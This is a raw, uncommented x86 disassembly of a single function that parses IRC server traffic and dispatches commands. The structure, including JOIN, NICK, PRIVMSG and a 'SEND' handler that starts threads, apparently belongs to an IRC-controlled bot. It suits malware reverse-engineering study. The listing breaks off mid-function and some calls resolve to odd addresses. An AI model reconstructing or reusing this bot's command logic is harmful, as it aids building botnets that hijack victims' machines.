var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDD4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDD0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDCC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD60
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------

loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h

loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------

loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D

loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52

loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax

loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------

loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026

loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067

loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004

loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CD0C
		jmp	loc_4097CB
; ---------------------------------------------------------------------------

loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------

loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644

loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCD0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA

loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40228C
; ---------------------------------------------------------------------------

loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1

loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC90
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE

loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
